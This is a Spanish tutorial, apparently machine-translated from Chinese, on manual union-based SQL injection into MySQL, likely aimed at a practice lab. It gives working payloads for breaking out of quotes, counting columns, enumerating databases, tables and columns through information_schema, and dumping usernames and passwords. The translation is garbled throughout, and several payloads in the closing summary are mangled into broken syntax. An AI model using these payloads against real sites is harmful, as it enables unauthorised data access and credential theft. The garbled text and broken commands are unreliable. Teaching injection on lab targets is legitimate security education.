Los pasos básicos de la inyección manual MySQL y el registro de algunas técnicas. Al aprender la inyección manual, los artículos en Internet son desiguales, lo que hace que la comprensión de la inyección manual durante mucho tiempo haya estado en un estado de poca comprensión, por la presente registre este artículo, Dejemos que Xiaobai Evitemos los desvíos. Este artículo es solo para la inyección manual de Xiaobai, y la vaca grande evita el rocío ligero.
paso
Comentario o declaración de cierre
En primer lugar, observe el siguiente código fuente de consulta de la declaración SQL básica:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Los siguientes pasos usan esta instrucción SQL básica por defecto. Otros métodos de inyección cambian la sopa sin cambiar el medicamento. Aquí solo quiero ordenar los pasos inyectados y las declaraciones clave.
Declaración citada
id =1 ' and '1' ='1
La declaración SQL incorporada al código fuente es:
SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1
Comentar después de la oración
Carga útil de anotaciones de uso común
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换,url 提交过程中 Url 编码后的#为%23
La declaración SQL incorporada al código fuente es:
SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
De esta forma, podemos ver que las siguientes declaraciones están comentadas directamente, generalmente hay más comentarios en los combates reales.
y verificar
Por supuesto, aquí y la verificación o la verificación son posibles, hay poca diferencia entre los dos: la página vuelve a la normalidad
?id=1' and 1=1 --+
?id=1' or 1=2 --+
La página vuelve de forma anormal
?id=1' and 1=2 --+
?id=1' or 1=1 --+
Si se encuentra que la página es normal al principio y luego anormal, significa que hay una inyección en la página. Por supuesto, este es el método de juicio más básico.Cuando la ciega apuesta más tarde, la función de retraso se utiliza para observar el tiempo de retorno de la página.
Número de campos de consulta
El número de campos de consulta utiliza principalmente el orden por en MySQL para determinar el número de campos. El orden por generalmente utiliza una búsqueda de mitad y mitad en matemáticas para determinar el número de campos específicos. Esto será muy eficiente. Lo siguiente asume ese orden by se utiliza para determinar la inyección de un campo desconocido.
? id = 1 'ordenar por 1 - + En este momento, la página es normal, continuar probando con un número mayor? id = 1' ordenar por 10 - + En este momento, la página devuelve un error, reemplazar con un número más pequeño para probar? id = 1 'ordenar por 5 - + En este momento, la página todavía informa un error, continuar reduciendo el valor test? id = 1' ordenar por 3 - + En este momento, la página vuelve a la normalidad, reemplácelo con un número mayor test? id = 1 'orden por 4 - + this Cuando la página devuelve un error, 3 es normal, 4 es incorrecto, lo que indica que el número de campos es 3
Determine el número de campos mediante búsqueda matemática a la mitad.
Consulta conjunta
UNION SELECT
Consulta conjunta, inyección manual de oraciones clásicas, la función es UNION
conectar posteriormente nuestra oración de inyección maliciosa y llevarla a la base de datos para su consulta. Debido a que el número de campos es :, 3
entonces la declaración formal es la siguiente:
?id=1' UNION SELECT 1,2,3 --+
Esta página no reportará un error. En este momento, la declaración que traemos a la base de datos es:
La instrucción SELECT 1,2,3 no tiene significado, por lo que la página vuelve a la normalidad.
Pero para recopilar información, tenemos que conocer el valor en la página actual, qué campo de la base de datos se llama, y podemos construir deliberadamente una declaración incorrecta para explotar el campo incorrecto:
id = -1 'UNION SELECT 1,2,3 - + Pass id = -1 Un valor de id negativo que no existe para desencadenar un error id = 1' y 1 = 2 UNION SELECT 1,2,3 - + Pasa y 1 = 2 declaración para desencadenar un error id = 1 'o 1 = 1 UNION SELECT 1,2,3 - + o 1 = 1 declaración para desencadenar un error
Se puede ver que el número de campo específico ha sido expuesto. Aquí está la explosión 2
e 3
ingrese a la base de datos MySQL para ver la estructura de campo de esta tabla:
La estructura perfecta de las tablas de la base de datos se verifica antes del número de error de ráfaga 2
y 3
, donde las cifras representan el campo, corresponden a los valores del campo es: username
y password
.
recopilar información
El valor del campo se puede reemplazar con nuestra declaración maliciosa. La etapa inicial es principalmente para recopilar información, incluso juzgar si la base de datos actual es el usuario root, la versión de MySQL, etc. Generalmente, algunas funciones de MySQL se utilizan para recopilar información para recopilar esta información: Funciones del sistema de uso común de MySQL
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
Consultar el nombre de la base de datos actual
id=1' and 1=2 UNION SELECT 1,database(),3 --+
Consultar versión de MySQL
id=1' and 1=2 UNION SELECT 1,2,version() --+
Consultar usuario y ruta de la base de datos
id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+
Base de datos de consultas
Consulta la base de datos.En general, lo que necesitamos verificar al inyectar es la base de datos actual, pero a veces la autoridad raíz es NB y puedes ver el contenido de la base de datos fuera de la base de datos del sitio web. Consultar la base de datos actual
id=1' and 1=2 UNION SELECT 1,2,database() --+
Obtenga el nombre de la base de datos actual como: security
Consultar todas las bases de datos A veces, no puede evitar querer ver el contenido de otras bases de datos, puede usar esta declaración para consultar todas las bases de datos:
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
group_concat
Las funciones se utilizan aquí . Dado que el posicionamiento de este artículo es un paso de inyección manual, no explicaré el uso de dichas funciones en detalle aquí. Para comprender las funciones relacionadas, consulte mi otro artículo: Inyección manual de MySQL de funciones de cadena comunes
Nombre de la tabla de búsqueda
base de datos de consulta de base de datos
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
Base de datos de cotizaciones simples
La database()
función aquí realiza una consulta a la base de datos, porque hemos encontrado la base de datos actual security
, por lo que también puede escribirla aquí. Use comillas simples para encerrar el nombre de la base de datos 'security'
:
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
base de datos de codificación hexadecimal
Si es problemático incluir comillas simples, ¡qué coincidencia! Aquí hay un método más problemático, que consiste en hex
codificar el nombre de la base de datos . Utilice el HackBar
complemento que viene con Firefox para hex
codificar rápidamente :
hex
Agregar antes de la codificación 0x
indica que se trata de una codificación hexadecimal.
El método de concentración principal actual es más o menos así, y hay algunos métodos de group_concat
escritura primero hexadecimales y luego no hexadecimales, que se dice que pueden omitir la clase waf . No se usa con mucha frecuencia aquí y no se repetirá aquí. De la misma manera, estos métodos también se pueden usar en los nombres de las columnas de la base de datos de consultas, y debes aprender a aprender a usarlos de manera flexible.
Nombre de la columna de consulta
La información recopilada actualmente es:
Nombre de la base de datos: nombre de la tabla de la base de datos de seguridad: correos electrónicos, referencias, uagents, usuarios
Como hacker, debes tener un agudo sentido del olfato (perro manual). Generalmente, continuaremos adivinando las users
tablas en estas tablas. El siguiente método es similar a consultar la base de datos para consultar el nombre de la columna. El principio es MySQL
que information_schema
habrá información relevante de todas las bases de datos en la siguiente :
Ahora que está todo aquí, aquí hay una lista de la information_schema
información más crítica en la inyección manual de MySQL :
Registrar información sobre la base de datos
schemata
El schema_name
registro en la tabla debajo de la base de datos information_schema es 数据库
el nombre de cada uno :
Aquí no solo se registra tables
la table_schema
tabla debajo de la base de datos, sino también el nombre de cada base de datos:
Registrar información sobre la hoja de datos
tables
El table_name
registro en la tabla debajo de la base de datos information_schema es 数据表
el nombre de cada uno :
Aquí está la hermosa línea divisoria. Me sorprendió. En un abrir y cerrar de ojos, no pude evitar tirar tanto. No hablemos de ello directamente para consultar los nombres de las columnas debajo de la tabla de usuarios.
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
Valor del campo de consulta
Dado que hay mucha verbosidad en los nombres de las columnas de consulta, los principios básicos se han escrito en ella, aquí hay una carga útil simple:
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
Ahora que conoce la base de datos, el nombre de la tabla y el nombre del campo, puede realizar consultas directamente sin utilizar la information_schanem
base de datos.
Breve colación
Originalmente planeé escribirlo en los pasos anteriores, pero no pude evitar escribir demasiado. Así que abrí un título para una breve colación:
ordenar por - + Determinar el número de campos
selección de unión - + consulta de unión para recopilar información
id = 1 'y 1 = 2 UNION SELECT 1,2, database () - + Consulta la base de datos actual
id = 1 'y 1 = 2 UNION SELECT 1,2, group_concat (schema_name) from information_schema.schemata - + Consultar todas las bases de datos
id = 1 'y 1 = 2 UNION SELECT 1,2, group_concat (table_name) from information_schema.tables donde table_schema = database () - + 查询 表 名
id = 1 'y 1 = 2 UNION SELECT 1,2, group_concat (column_name) from information_schema.columns donde table_name =' usuarios '- + 查询 列 名
id = 1 'y 1 = 2 UNION SELECT 1,2, group_concat (id, nombre de usuario, contraseña) de los usuarios - + valor del campo de consulta